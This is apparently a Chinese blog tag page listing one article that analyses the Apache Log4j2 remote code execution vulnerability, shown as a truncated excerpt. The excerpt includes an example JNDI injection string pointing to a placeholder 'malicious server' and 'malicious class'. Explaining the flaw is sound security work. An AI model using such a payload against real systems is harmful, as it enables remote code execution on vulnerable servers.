标签 : Log4j2

1 篇文章

thumbnail
Apache Log4j2 远程代码执行漏洞全解析
|
文章 , 漏洞分析
|
1.9k 字
|
8 分钟
Apache Log4j2 远程代码执行漏洞全解析 一、漏洞概述 1. 漏洞原理 Apache Log4j2 是 Java 生态中广泛使用的日志框架，其Lookup功能存在致命缺陷：未限制 JNDI（Java 命名和目录接口）查询。攻击者可在日志消息中插入恶意 JNDI 表达式（如${jndi:rmi://恶意服务器/恶意类}），触发 Log4j2...